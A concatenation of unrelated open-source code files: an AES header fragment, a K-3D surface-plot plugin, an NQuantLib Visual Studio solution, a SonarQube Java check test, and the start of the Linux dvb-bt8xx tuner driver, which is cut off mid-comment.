/* Call AesGenTables one time before other AES functions */
void AesGenTables(void);
/* UInt32 pointers must be 16-byte aligned */
/* 16-byte (4 * 32-bit words) blocks: 1 (IV) + 1 (keyMode) + 15 (AES-256 roundKeys) */
#define AES_NUM_IVMRK_WORDS ((1 + 1 + 15) * 4)
/* aes - 16-byte aligned pointer to keyMode+roundKeys sequence */
/* keySize = 16 or 24 or 32 (bytes) */
typedef void (MY_FAST_CALL *AES_SET_KEY_FUNC)(UInt32 *aes, const Byte *key, unsigned keySize);
void MY_FAST_CALL Aes_SetKey_Enc(UInt32 *aes, const Byte *key, unsigned keySize);
void MY_FAST_CALL Aes_SetKey_Dec(UInt32 *aes, const Byte *key, unsigned keySize);
/* ivAes - 16-byte aligned pointer to iv+keyMode+roundKeys sequence: UInt32[AES_NUM_IVMRK_WORDS] */
void AesCbc_Init(UInt32 *ivAes, const Byte *iv); /* iv size is AES_BLOCK_SIZE */
/* data - 16-byte aligned pointer to data */
/* numBlocks - the number of 16-byte blocks in data array */
typedef void (MY_FAST_CALL *AES_CODE_FUNC)(UInt32 *ivAes, Byte *data, size_t numBlocks);
extern AES_CODE_FUNC g_AesCbc_Encode;
extern AES_CODE_FUNC g_AesCbc_Decode;
extern AES_CODE_FUNC g_AesCtr_Code;
EXTERN_C_END
#endif
| {
"pile_set_name": "Github"
} |
// K-3D
// Copyright (c) 1995-2010, Timothy M. Shead
//
// Contact: [email protected]
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// General Public License for more details.
//
// You should have received a copy of the GNU General Public
// License along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
/** \file
\author Timothy M. Shead ([email protected]) Most of the code used for poly_grid
\author Joaquín Duo ([email protected]) Adaptation to the function parser
*/
#include <k3dsdk/axis.h>
#include <k3dsdk/document_plugin_factory.h>
#include <k3dsdk/expression/parser.h>
#include <k3dsdk/hints.h>
#include <k3dsdk/imaterial.h>
#include <k3dsdk/iuser_property.h>
#include <k3dsdk/log.h>
#include <k3dsdk/material_sink.h>
#include <k3dsdk/measurement.h>
#include <k3dsdk/mesh_source.h>
#include <k3dsdk/module.h>
#include <k3dsdk/node.h>
#include <k3dsdk/polyhedron.h>
#include <k3dsdk/property.h>
#include <k3dsdk/type_registry.h>
#include <k3dsdk/user_property_changed_signal.h>
namespace module
{
namespace plot
{
/////////////////////////////////////////////////////////////////////////////
// surface_plot
class surface_plot :
public k3d::material_sink<k3d::mesh_source<k3d::node > >
{
typedef k3d::material_sink<k3d::mesh_source<k3d::node > > base;
public:
surface_plot(k3d::iplugin_factory& Factory, k3d::idocument& Document) :
base(Factory, Document),
m_function(init_owner(*this) + init_name("function") + init_label(_("Function")) + init_description(_("Function to be plotted, in terms of u, v, and any scalar user properties added to the node.")) + init_value(k3d::string_t(_("cos(sqrt(u^2+v^2))")))),
m_u_samples(init_owner(*this) + init_name("u_samples") + init_label(_("U Samples")) + init_description(_("Number of samples along the u dimension.")) + init_value(15) + init_constraint(constraint::minimum<k3d::int32_t>(1)) + init_step_increment(1) + init_units(typeid(k3d::measurement::scalar))),
m_v_samples(init_owner(*this) + init_name("v_samples") + init_label(_("V Samples")) + init_description(_("Number of samples along the v dimension.")) + init_value(15) + init_constraint(constraint::minimum<k3d::int32_t>(1)) + init_step_increment(1) + init_units(typeid(k3d::measurement::scalar))),
m_u_size(init_owner(*this) + init_name("u_size") + init_label(_("U Size")) + init_description(_("Plot size along the u dimension.")) + init_value(20.0) + init_step_increment(0.1) + init_units(typeid(k3d::measurement::distance))),
m_v_size(init_owner(*this) + init_name("v_size") + init_label(_("V Size")) + init_description(_("Plot size along the v dimension.")) + init_value(20.0) + init_step_increment(0.1) + init_units(typeid(k3d::measurement::distance))),
m_orientation(init_owner(*this) + init_name("orientation") + init_label(_("Orientation")) + init_description(_("Plot orientation (positive or negative along the X, Y or Z axis).")) + init_value(k3d::PZ) + init_enumeration(k3d::signed_axis_values())),
m_user_property_changed_signal(*this)
{
m_u_samples.changed_signal().connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::mesh_topology_changed> >(make_update_mesh_slot()));
m_v_samples.changed_signal().connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::mesh_topology_changed> >(make_update_mesh_slot()));
m_material.changed_signal().connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::none> >(make_update_mesh_slot()));
m_function.changed_signal().connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::mesh_geometry_changed> >(make_update_mesh_slot()));
m_u_size.changed_signal().connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::mesh_geometry_changed> >(make_update_mesh_slot()));
m_v_size.changed_signal().connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::mesh_geometry_changed> >(make_update_mesh_slot()));
m_orientation.changed_signal().connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::mesh_geometry_changed> >(make_update_mesh_slot()));
m_user_property_changed_signal.connect(k3d::hint::converter<
k3d::hint::convert<k3d::hint::any, k3d::hint::mesh_geometry_changed> >(make_update_mesh_slot()));
}
void on_update_mesh_topology(k3d::mesh& Output)
{
Output = k3d::mesh();
boost::scoped_ptr<k3d::polyhedron::primitive> polyhedron(k3d::polyhedron::create(Output));
polyhedron->shell_types.push_back(k3d::polyhedron::POLYGONS);
k3d::polyhedron::add_grid(Output, *polyhedron, 0, m_v_samples.pipeline_value(), m_u_samples.pipeline_value(), m_material.pipeline_value());
}
void on_update_mesh_geometry(k3d::mesh& Output)
{
const k3d::string_t function = m_function.pipeline_value();
k3d::string_t variables("u,v");
std::vector<k3d::double_t> values(2, 0.0);
const k3d::iproperty_collection::properties_t& properties = k3d::node::properties();
for(k3d::iproperty_collection::properties_t::const_iterator property = properties.begin(); property != properties.end(); ++property)
{
if(!dynamic_cast<k3d::iuser_property*>(*property))
continue;
if((**property).property_type() != typeid(k3d::double_t))
{
k3d::log() << warning << factory().name() << ": user property [" << (**property).property_name() << "] with unsupported type [" << k3d::demangle((**property).property_type()) << "] will be ignored" << std::endl;
continue;
}
variables += "," + (**property).property_name();
values.push_back(k3d::property::pipeline_value<k3d::double_t>(**property));
}
k3d::expression::parser parser;
if(!parser.parse(function, variables))
{
k3d::log() << error << factory().name() << ": function parsing failed: " << parser.last_parse_error() << std::endl;
return;
}
const k3d::int32_t point_v_samples = m_v_samples.pipeline_value() + 1;
const k3d::int32_t point_u_samples = m_u_samples.pipeline_value() + 1;
const k3d::double_t u_size = m_u_size.pipeline_value();
const k3d::double_t v_size = m_v_size.pipeline_value();
const k3d::signed_axis orientation = m_orientation.pipeline_value();
k3d::vector3 i, j, k;
switch(orientation)
{
case k3d::PX:
i = k3d::vector3(0, 1, 0);
j = k3d::vector3(0, 0, 1);
k = k3d::vector3(1, 0, 0);
break;
case k3d::NX:
i = k3d::vector3(0, 1, 0);
j = k3d::vector3(0, 0, -1);
k = k3d::vector3(-1, 0, 0);
break;
case k3d::PY:
i = k3d::vector3(0, 0, 1);
j = k3d::vector3(1, 0, 0);
k = k3d::vector3(0, 1, 0);
break;
case k3d::NY:
i = k3d::vector3(0, 0, 1);
j = k3d::vector3(-1, 0, 0);
k = k3d::vector3(0, -1, 0);
break;
case k3d::PZ:
i = k3d::vector3(1, 0, 0);
j = k3d::vector3(0, 1, 0);
k = k3d::vector3(0, 0, 1);
break;
case k3d::NZ:
i = k3d::vector3(1, 0, 0);
j = k3d::vector3(0, -1, 0);
k = k3d::vector3(0, 0, -1);
break;
}
k3d::mesh::points_t::iterator point = const_cast<k3d::mesh::points_t&>(*Output.points).begin();
for(k3d::int32_t row = 0; row != point_v_samples; ++row)
{
const k3d::double_t row_percent = k3d::ratio(row, point_v_samples - 1);
for(k3d::int32_t column = 0; column != point_u_samples; ++column)
{
const k3d::double_t column_percent = k3d::ratio(column, point_u_samples - 1);
const k3d::double_t u = k3d::mix(-0.5 * u_size, 0.5 * u_size, column_percent);
const k3d::double_t v = k3d::mix(-0.5 * v_size, 0.5 * v_size, row_percent);
values[0] = u;
values[1] = v;
const k3d::double_t w = parser.evaluate(&values[0]);
*point++ = k3d::to_point((u * i) + (v * j) + (w * k));
}
}
}
static k3d::iplugin_factory& get_factory()
{
static k3d::document_plugin_factory<surface_plot, k3d::interface_list<k3d::imesh_source > > factory(
k3d::uuid(0xf2434d00, 0xd54a4482, 0xaea14eb6, 0x40a967d3),
"SurfacePlot",
_("Creates a 3D surface plot."),
"Math",
k3d::iplugin_factory::STABLE);
return factory;
}
private:
k3d_data(k3d::string_t, immutable_name, change_signal, with_undo, local_storage, no_constraint, writable_property, with_serialization) m_function;
k3d_data(k3d::int32_t, immutable_name, change_signal, with_undo, local_storage, with_constraint, measurement_property, with_serialization) m_u_samples;
k3d_data(k3d::int32_t, immutable_name, change_signal, with_undo, local_storage, with_constraint, measurement_property, with_serialization) m_v_samples;
k3d_data(k3d::double_t, immutable_name, change_signal, with_undo, local_storage, no_constraint, measurement_property, with_serialization) m_u_size;
k3d_data(k3d::double_t, immutable_name, change_signal, with_undo, local_storage, no_constraint, measurement_property, with_serialization) m_v_size;
k3d_data(k3d::signed_axis, immutable_name, change_signal, with_undo, local_storage, no_constraint, enumeration_property, with_serialization) m_orientation;
k3d::user_property_changed_signal m_user_property_changed_signal;
};
/////////////////////////////////////////////////////////////////////////////
// surface_plot_factory
k3d::iplugin_factory& surface_plot_factory()
{
return surface_plot::get_factory();
}
} // namespace plot
} // namespace module
| {
"pile_set_name": "Github"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NQuantLib", "csharp\NQuantLib.csproj", "{928F98EE-7D50-457F-9304-A6818DCF1079}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BermudanSwaption", "examples\BermudanSwaption.csproj", "{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}"
ProjectSection(ProjectDependencies) = postProject
{21183104-9963-4D4F-B7E8-C8A6169FD053} = {21183104-9963-4D4F-B7E8-C8A6169FD053}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NQuantLibc", "cpp\QuantLibWrapper.vcxproj", "{21183104-9963-4D4F-B7E8-C8A6169FD053}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EquityOption", "examples\EquityOption.csproj", "{1FD947F1-D99E-46FB-8890-04E11E8340C2}"
ProjectSection(ProjectDependencies) = postProject
{21183104-9963-4D4F-B7E8-C8A6169FD053} = {21183104-9963-4D4F-B7E8-C8A6169FD053}
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Any CPU = Release|Any CPU
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{928F98EE-7D50-457F-9304-A6818DCF1079}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{928F98EE-7D50-457F-9304-A6818DCF1079}.Debug|Any CPU.Build.0 = Debug|Any CPU
{928F98EE-7D50-457F-9304-A6818DCF1079}.Debug|Win32.ActiveCfg = Debug|Win32
{928F98EE-7D50-457F-9304-A6818DCF1079}.Debug|Win32.Build.0 = Debug|Win32
{928F98EE-7D50-457F-9304-A6818DCF1079}.Debug|x64.ActiveCfg = Debug|x64
{928F98EE-7D50-457F-9304-A6818DCF1079}.Debug|x64.Build.0 = Debug|x64
{928F98EE-7D50-457F-9304-A6818DCF1079}.Release|Any CPU.ActiveCfg = Release|Any CPU
{928F98EE-7D50-457F-9304-A6818DCF1079}.Release|Any CPU.Build.0 = Release|Any CPU
{928F98EE-7D50-457F-9304-A6818DCF1079}.Release|Win32.ActiveCfg = Release|Win32
{928F98EE-7D50-457F-9304-A6818DCF1079}.Release|Win32.Build.0 = Release|Win32
{928F98EE-7D50-457F-9304-A6818DCF1079}.Release|x64.ActiveCfg = Release|x64
{928F98EE-7D50-457F-9304-A6818DCF1079}.Release|x64.Build.0 = Release|x64
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Debug|Win32.ActiveCfg = Debug|Win32
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Debug|Win32.Build.0 = Debug|Win32
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Debug|x64.ActiveCfg = Debug|x64
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Debug|x64.Build.0 = Debug|x64
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Release|Any CPU.Build.0 = Release|Any CPU
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Release|Win32.ActiveCfg = Release|Win32
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Release|Win32.Build.0 = Release|Win32
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Release|x64.ActiveCfg = Release|x64
{1BEC49E8-122D-4CC9-9DAC-DD59F551E5E9}.Release|x64.Build.0 = Release|x64
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Debug|Any CPU.ActiveCfg = Debug|Win32
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Debug|Win32.ActiveCfg = Debug|Win32
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Debug|Win32.Build.0 = Debug|Win32
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Debug|x64.ActiveCfg = Debug|x64
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Debug|x64.Build.0 = Debug|x64
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Release|Any CPU.ActiveCfg = Release|Win32
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Release|Win32.ActiveCfg = Release|Win32
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Release|Win32.Build.0 = Release|Win32
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Release|x64.ActiveCfg = Release|x64
{21183104-9963-4D4F-B7E8-C8A6169FD053}.Release|x64.Build.0 = Release|x64
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Debug|Win32.ActiveCfg = Debug|Win32
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Debug|Win32.Build.0 = Debug|Win32
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Debug|x64.ActiveCfg = Debug|x64
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Debug|x64.Build.0 = Debug|x64
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Release|Any CPU.Build.0 = Release|Any CPU
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Release|Win32.ActiveCfg = Release|Win32
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Release|Win32.Build.0 = Release|Win32
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Release|x64.ActiveCfg = Release|x64
{1FD947F1-D99E-46FB-8890-04E11E8340C2}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"pile_set_name": "Github"
} |
/*
* SonarQube Java
* Copyright (C) 2012-2020 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonar.java.checks;
import org.junit.jupiter.api.Test;
import org.sonar.java.checks.verifier.JavaCheckVerifier;
class ConstantMethodCheckTest {
@Test
void test() {
JavaCheckVerifier.newVerifier()
.onFile("src/test/files/checks/ConstantMethodCheck.java")
.withCheck(new ConstantMethodCheck())
.verifyIssues();
}
}
| {
"pile_set_name": "Github"
} |
/*
* Bt8xx based DVB adapter driver
*
* Copyright (C) 2002,2003 Florian Schirmer <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
*/
#define pr_fmt(fmt) "dvb_bt8xx: " fmt
#include <linux/bitops.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <linux/delay.h>
#include <linux/slab.h>
#include <linux/i2c.h>
#include "dmxdev.h"
#include "dvbdev.h"
#include "dvb_demux.h"
#include "dvb_frontend.h"
#include "dvb-bt8xx.h"
#include "bt878.h"
static int debug;
module_param(debug, int, 0644);
MODULE_PARM_DESC(debug, "Turn on/off debugging (default:off).");
DVB_DEFINE_MOD_OPT_ADAPTER_NR(adapter_nr);
#define dprintk( args... ) \
do { \
if (debug) printk(KERN_DEBUG args); \
} while (0)
#define IF_FREQUENCYx6 217 /* 6 * 36.16666666667MHz */
static void dvb_bt8xx_task(unsigned long data)
{
struct dvb_bt8xx_card *card = (struct dvb_bt8xx_card *)data;
//printk("%d ", card->bt->finished_block);
while (card->bt->last_block != card->bt->finished_block) {
(card->bt->TS_Size ? dvb_dmx_swfilter_204 : dvb_dmx_swfilter)
(&card->demux,
&card->bt->buf_cpu[card->bt->last_block *
card->bt->block_bytes],
card->bt->block_bytes);
card->bt->last_block = (card->bt->last_block + 1) %
card->bt->block_count;
}
}
static int dvb_bt8xx_start_feed(struct dvb_demux_feed *dvbdmxfeed)
{
struct dvb_demux*dvbdmx = dvbdmxfeed->demux;
struct dvb_bt8xx_card *card = dvbdmx->priv;
int rc;
dprintk("dvb_bt8xx: start_feed\n");
if (!dvbdmx->dmx.frontend)
return -EINVAL;
mutex_lock(&card->lock);
card->nfeeds++;
rc = card->nfeeds;
if (card->nfeeds == 1)
bt878_start(card->bt, card->gpio_mode,
card->op_sync_orin, card->irq_err_ignore);
mutex_unlock(&card->lock);
return rc;
}
static int dvb_bt8xx_stop_feed(struct dvb_demux_feed *dvbdmxfeed)
{
struct dvb_demux *dvbdmx = dvbdmxfeed->demux;
struct dvb_bt8xx_card *card = dvbdmx->priv;
dprintk("dvb_bt8xx: stop_feed\n");
if (!dvbdmx->dmx.frontend)
return -EINVAL;
mutex_lock(&card->lock);
card->nfeeds--;
if (card->nfeeds == 0)
bt878_stop(card->bt);
mutex_unlock(&card->lock);
return 0;
}
static int is_pci_slot_eq(struct pci_dev* adev, struct pci_dev* bdev)
{
if ((adev->subsystem_vendor == bdev->subsystem_vendor) &&
(adev->subsystem_device == bdev->subsystem_device) &&
(adev->bus->number == bdev->bus->number) &&
(PCI_SLOT(adev->devfn) == PCI_SLOT(bdev->devfn)))
return 1;
return 0;
}
static struct bt878 *dvb_bt8xx_878_match(unsigned int bttv_nr,
struct pci_dev* bttv_pci_dev)
{
unsigned int card_nr;
/* Hmm, n squared. Hope n is small */
for (card_nr = 0; card_nr < bt878_num; card_nr++)
if (is_pci_slot_eq(bt878[card_nr].dev, bttv_pci_dev))
return &bt878[card_nr];
return NULL;
}
static int thomson_dtt7579_demod_init(struct dvb_frontend* fe)
{
static u8 mt352_clock_config [] = { 0x89, 0x38, 0x38 };
static u8 mt352_reset [] = { 0x50, 0x80 };
static u8 mt352_adc_ctl_1_cfg [] = { 0x8E, 0x40 };
static u8 mt352_agc_cfg [] = { 0x67, 0x28, 0x20 };
static u8 mt352_gpp_ctl_cfg [] = { 0x8C, 0x33 };
static u8 mt352_capt_range_cfg[] = { 0x75, 0x32 };
mt352_write(fe, mt352_clock_config, sizeof(mt352_clock_config));
udelay(2000);
mt352_write(fe, mt352_reset, sizeof(mt352_reset));
mt352_write(fe, mt352_adc_ctl_1_cfg, sizeof(mt352_adc_ctl_1_cfg));
mt352_write(fe, mt352_agc_cfg, sizeof(mt352_agc_cfg));
mt352_write(fe, mt352_gpp_ctl_cfg, sizeof(mt352_gpp_ctl_cfg));
mt352_write(fe, mt352_capt_range_cfg, sizeof(mt352_capt_range_cfg));
return 0;
}
static int thomson_dtt7579_tuner_calc_regs(struct dvb_frontend *fe, u8* pllbuf, int buf_len)
{
struct dtv_frontend_properties *c = &fe->dtv_property_cache;
u32 div;
unsigned char bs = 0;
unsigned char cp = 0;
if (buf_len < 5)
return -EINVAL;
div = (((c->frequency + 83333) * 3) / 500000) + IF_FREQUENCYx6;
if (c->frequency < 542000000)
cp = 0xb4;
else if (c->frequency < 771000000)
cp = 0xbc;
else
cp = 0xf4;
if (c->frequency == 0)
bs = 0x03;
else if (c->frequency < 443250000)
bs = 0x02;
else
bs = 0x08;
pllbuf[0] = 0x60;
pllbuf[1] = div >> 8;
pllbuf[2] = div & 0xff;
pllbuf[3] = cp;
pllbuf[4] = bs;
return 5;
}
static struct mt352_config thomson_dtt7579_config = {
.demod_address = 0x0f,
.demod_init = thomson_dtt7579_demod_init,
};
static struct zl10353_config thomson_dtt7579_zl10353_config = {
.demod_address = 0x0f,
};
static int cx24108_tuner_set_params(struct dvb_frontend *fe)
{
struct dtv_frontend_properties *c = &fe->dtv_property_cache;
u32 freq = c->frequency;
int i, a, n, pump;
u32 band, pll;
u32 osci[]={950000,1019000,1075000,1178000,1296000,1432000,
1576000,1718000,1856000,2036000,2150000};
u32 bandsel[]={0,0x00020000,0x00040000,0x00100800,0x00101000,
0x00102000,0x00104000,0x00108000,0x00110000,
0x00120000,0x00140000};
#define XTAL 1011100 /* Hz, really 1.0111 MHz and a /10 prescaler */
dprintk("cx24108 debug: entering SetTunerFreq, freq=%d\n", freq);
/* This is really the bit driving the tuner chip cx24108 */
if (freq<950000)
freq = 950000; /* kHz */
else if (freq>2150000)
freq = 2150000; /* satellite IF is 950..2150MHz */
/* decide which VCO to use for the input frequency */
for(i = 1; (i < ARRAY_SIZE(osci) - 1) && (osci[i] < freq); i++);
dprintk("cx24108 debug: select vco #%d (f=%d)\n", i, freq);
band=bandsel[i];
/* the gain values must be set by SetSymbolrate */
/* compute the pll divider needed, from Conexant data sheet,
resolved for (n*32+a), remember f(vco) is f(receive) *2 or *4,
depending on the divider bit. It is set to /4 on the 2 lowest
bands */
n=((i<=2?2:1)*freq*10L)/(XTAL/100);
a=n%32; n/=32; if(a==0) n--;
pump=(freq<(osci[i-1]+osci[i])/2);
pll=0xf8000000|
((pump?1:2)<<(14+11))|
((n&0x1ff)<<(5+11))|
((a&0x1f)<<11);
/* everything is shifted left 11 bits to left-align the bits in the
32bit word. Output to the tuner goes MSB-aligned, after all */
dprintk("cx24108 debug: pump=%d, n=%d, a=%d\n", pump, n, a);
cx24110_pll_write(fe,band);
/* set vga and vca to their widest-band settings, as a precaution.
SetSymbolrate might not be called to set this up */
cx24110_pll_write(fe,0x500c0000);
cx24110_pll_write(fe,0x83f1f800);
cx24110_pll_write(fe,pll);
//writereg(client,0x56,0x7f);
return 0;
}
static int pinnsat_tuner_init(struct dvb_frontend* fe)
{
struct dvb_bt8xx_card *card = fe->dvb->priv;
bttv_gpio_enable(card->bttv_nr, 1, 1); /* output */
bttv_write_gpio(card->bttv_nr, 1, 1); /* relay on */
return 0;
}
static int pinnsat_tuner_sleep(struct dvb_frontend* fe)
{
struct dvb_bt8xx_card *card = fe->dvb->priv;
bttv_write_gpio(card->bttv_nr, 1, 0); /* relay off */
return 0;
}
static struct cx24110_config pctvsat_config = {
.demod_address = 0x55,
};
static int microtune_mt7202dtf_tuner_set_params(struct dvb_frontend *fe)
{
struct dtv_frontend_properties *c = &fe->dtv_property_cache;
struct dvb_bt8xx_card *card = (struct dvb_bt8xx_card *) fe->dvb->priv;
u8 cfg, cpump, band_select;
u8 data[4];
u32 div;
struct i2c_msg msg = { .addr = 0x60, .flags = 0, .buf = data, .len = sizeof(data) };
div = (36000000 + c->frequency + 83333) / 166666;
cfg = 0x88;
if (c->frequency < 175000000)
cpump = 2;
else if (c->frequency < 390000000)
cpump = 1;
else if (c->frequency < 470000000)
cpump = 2;
else if (c->frequency < 750000000)
cpump = 2;
else
cpump = 3;
if (c->frequency < 175000000)
band_select = 0x0e;
else if (c->frequency < 470000000)
band_select = 0x05;
else
band_select = 0x03;
data[0] = (div >> 8) & 0x7f;
data[1] = div & 0xff;
data[2] = ((div >> 10) & 0x60) | cfg;
data[3] = (cpump << 6) | band_select;
if (fe->ops.i2c_gate_ctrl)
fe->ops.i2c_gate_ctrl(fe, 1);
i2c_transfer(card->i2c_adapter, &msg, 1);
return (div * 166666 - 36000000);
}
static int microtune_mt7202dtf_request_firmware(struct dvb_frontend* fe, const struct firmware **fw, char* name)
{
struct dvb_bt8xx_card* bt = (struct dvb_bt8xx_card*) fe->dvb->priv;
return request_firmware(fw, name, &bt->bt->dev->dev);
}
static struct sp887x_config microtune_mt7202dtf_config = {
.demod_address = 0x70,
.request_firmware = microtune_mt7202dtf_request_firmware,
};
static int advbt771_samsung_tdtc9251dh0_demod_init(struct dvb_frontend* fe)
{
static u8 mt352_clock_config [] = { 0x89, 0x38, 0x2d };
static u8 mt352_reset [] = { 0x50, 0x80 };
static u8 mt352_adc_ctl_1_cfg [] = { 0x8E, 0x40 };
static u8 mt352_agc_cfg [] = { 0x67, 0x10, 0x23, 0x00, 0xFF, 0xFF,
0x00, 0xFF, 0x00, 0x40, 0x40 };
static u8 mt352_av771_extra[] = { 0xB5, 0x7A };
static u8 mt352_capt_range_cfg[] = { 0x75, 0x32 };
mt352_write(fe, mt352_clock_config, sizeof(mt352_clock_config));
udelay(2000);
mt352_write(fe, mt352_reset, sizeof(mt352_reset));
mt352_write(fe, mt352_adc_ctl_1_cfg, sizeof(mt352_adc_ctl_1_cfg));
mt352_write(fe, mt352_agc_cfg,sizeof(mt352_agc_cfg));
udelay(2000);
mt352_write(fe, mt352_av771_extra,sizeof(mt352_av771_extra));
mt352_write(fe, mt352_capt_range_cfg, sizeof(mt352_capt_range_cfg));
return 0;
}
static int advbt771_samsung_tdtc9251dh0_tuner_calc_regs(struct dvb_frontend *fe, u8 *pllbuf, int buf_len)
{
struct dtv_frontend_properties *c = &fe->dtv_property_cache;
u32 div;
unsigned char bs = 0;
unsigned char cp = 0;
if (buf_len < 5) return -EINVAL;
div = (((c->frequency + 83333) * 3) / 500000) + IF_FREQUENCYx6;
if (c->frequency < 150000000)
cp = 0xB4;
else if (c->frequency < 173000000)
cp = 0xBC;
else if (c->frequency < 250000000)
cp = 0xB4;
else if (c->frequency < 400000000)
cp = 0xBC;
else if (c->frequency < 420000000)
cp = 0xF4;
else if (c->frequency < 470000000)
cp = 0xFC;
else if (c->frequency < 600000000)
cp = 0xBC;
else if (c->frequency < 730000000)
cp = 0xF4;
else
cp = 0xFC;
if (c->frequency < 150000000)
bs = 0x01;
else if (c->frequency < 173000000)
bs = 0x01;
else if (c->frequency < 250000000)
bs = 0x02;
else if (c->frequency < 400000000)
bs = 0x02;
else if (c->frequency < 420000000)
bs = 0x02;
else if (c->frequency < 470000000)
bs = 0x02;
else if (c->frequency < 600000000)
bs = 0x08;
else if (c->frequency < 730000000)
bs = 0x08;
else
bs = 0x08;
pllbuf[0] = 0x61;
pllbuf[1] = div >> 8;
pllbuf[2] = div & 0xff;
pllbuf[3] = cp;
pllbuf[4] = bs;
return 5;
}
static struct mt352_config advbt771_samsung_tdtc9251dh0_config = {
.demod_address = 0x0f,
.demod_init = advbt771_samsung_tdtc9251dh0_demod_init,
};
static struct dst_config dst_config = {
.demod_address = 0x55,
};
static int or51211_request_firmware(struct dvb_frontend* fe, const struct firmware **fw, char* name)
{
struct dvb_bt8xx_card* bt = (struct dvb_bt8xx_card*) fe->dvb->priv;
return request_firmware(fw, name, &bt->bt->dev->dev);
}
static void or51211_setmode(struct dvb_frontend * fe, int mode)
{
struct dvb_bt8xx_card *bt = fe->dvb->priv;
bttv_write_gpio(bt->bttv_nr, 0x0002, mode); /* Reset */
msleep(20);
}
static void or51211_reset(struct dvb_frontend * fe)
{
struct dvb_bt8xx_card *bt = fe->dvb->priv;
/* RESET DEVICE
* reset is controlled by GPIO-0
* when set to 0 causes reset and when to 1 for normal op
